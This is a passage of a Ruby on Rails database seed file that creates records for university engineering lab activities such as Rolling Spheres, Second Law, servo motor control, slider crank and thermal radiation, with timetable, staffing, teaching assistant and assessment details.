a222.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a222.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a222.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a222.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a222.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a223 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"521AE\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 5)\n at223 = ActivityTimetable.where(activity_id: a223.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a223.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a223.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a223.id).first_or_create!(assess_weight: nil, notes: \"formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a223.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a223.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a224 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: false, in_drive: false, user_id: 4)\n at224 = ActivityTimetable.where(activity_id: a224.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a224.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a224.id).first_or_create!(criteria: \"Interest in teaching.\",\n job_desc:\"Really easy introductory lab to dynamics. The students roll spheres of different mass and mass distribution down a slope. However we will be asking the students to achieve certain Aims. The demonstrators will need to encourage the students to achieve these without just giving the answers. Should be fun.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a224.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a224.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a224.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a225 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"2NDLAW\", archived: false, in_drive: false, user_id: 3)\n at225 = ActivityTimetable.where(activity_id: a225.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a225.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a225.id).first_or_create!(criteria: \"\",\n job_desc:\"Lab on the most important law in engineering the 2nd law - actually heat exchangers and compressors.\n Three sessions to run.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a225.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a225.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a225.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a226 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 4)\n at226 = ActivityTimetable.where(activity_id: a226.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a226.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a226.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a226.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a226.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a226.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a227 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at227 = ActivityTimetable.where(activity_id: a227.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a227.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a227.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a227.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a227.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a227.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a228 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR305\").first.id, code: \"522\").first_or_create!(name: \"Second Law\",\n name_abrv: \"Second Law\", archived: false, in_drive: false, user_id: 3)\n at228 = ActivityTimetable.where(activity_id: a228.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a228.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a228.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a228.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a228.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a228.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a229 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"523\").first_or_create!(name: \"servo motor frequency\",\n name_abrv: \"MEC-FREQ\", archived: false, in_drive: false, user_id: 3)\n at229 = ActivityTimetable.where(activity_id: a229.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a229.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a229.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. Design a PI controller for a 1st order system, based on characteristic equation of the closed loop system and a performance specification. There might be some Bode diagrams as well. A great way to revise control.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a229.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a229.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a229.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a230 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC321\").first.id, code: \"524\").first_or_create!(name: \"Servo Motor Time\",\n name_abrv: \"MEC-TIME\", archived: false, in_drive: false, user_id: 1)\n at230 = ActivityTimetable.where(activity_id: a230.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a230.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a230.id).first_or_create!(criteria: \"Interest in Control.\",\n job_desc:\"Lab demonstration, no in lab marking. Training provided. The lab gives the students a basic knowledge of the sensors used in measuring a motor’s behaviour, an understanding of the need for closed-loop control of a motor, observe the difference between open loop, proportional, and proportional + integral control. A great way to revise control.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a230.id).first_or_create!(assess_weight: 5.0, notes: \"Attendance and completion of lab\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a230.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a230.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a231 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 1)\n at231 = ActivityTimetable.where(activity_id: a231.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a231.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a231.id).first_or_create!(criteria: \"\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students. GTAs should have knowledge of basic dynamics.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a231.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a231.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a231.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a232 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"525\").first_or_create!(name: \"Slider crank\",\n name_abrv: \"SLIDERCRANK\", archived: false, in_drive: false, user_id: 3)\n at232 = ActivityTimetable.where(activity_id: a232.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a232.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a232.id).first_or_create!(criteria: \"GTAs should have knowledge of basic dynamics.\",\n job_desc:\"What can be more mechanical than a slider crank?\n Validating acceleration diagrams by measuring acceleration in a slider-crank mechanism using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a232.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a232.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a232.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a233 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR333\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: true, in_drive: false, user_id: 5)\n at233 = ActivityTimetable.where(activity_id: a233.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a233.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a233.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a233.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a233.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a233.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a234 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"526\").first_or_create!(name: \"Strut Test\",\n name_abrv: \"STRUTTEST\", archived: false, in_drive: false, user_id: 3)\n at234 = ActivityTimetable.where(activity_id: a234.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"See RW\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a234.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a234.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a234.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a234.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a234.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a235 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC326\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 4)\n at235 = ActivityTimetable.where(activity_id: a235.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a235.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a235.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a235.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a235.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a235.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a236 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC327\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at236 = ActivityTimetable.where(activity_id: a236.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a236.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a236.id).first_or_create!(criteria: \"\",\n job_desc:\"GTA's selected by department - email from RW 29/01/2019\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a236.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a236.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a236.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a237 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"527\").first_or_create!(name: \"Tap test\",\n name_abrv: \"TAPTEST\", archived: false, in_drive: false, user_id: 1)\n at237 = ActivityTimetable.where(activity_id: a237.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a237.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a237.id).first_or_create!(criteria: \"\",\n job_desc:\"Advanced dynamics labs.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a237.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a237.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a237.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a238 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 5)\n at238 = ActivityTimetable.where(activity_id: a238.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a238.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a238.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a238.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a238.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a238.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a239 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR227\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 1)\n at239 = ActivityTimetable.where(activity_id: a239.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a239.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a239.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a239.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a239.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a239.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a240 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at240 = ActivityTimetable.where(activity_id: a240.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a240.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jhyml9q\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a240.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a240.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a240.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a240.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a241 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"528\").first_or_create!(name: \"Thermal radiation\",\n name_abrv: \"THERMAL\", archived: false, in_drive: false, user_id: 3)\n at241 = ActivityTimetable.where(activity_id: a241.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a241.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a241.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on thermal radiation - no marking Demonstrate that the heat flux from a thermal radiation surface increases with T4. Measure the impact of changing the angle between two surfaces. Observe the effect of changing surface properties on thermal radiation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a241.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a241.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: 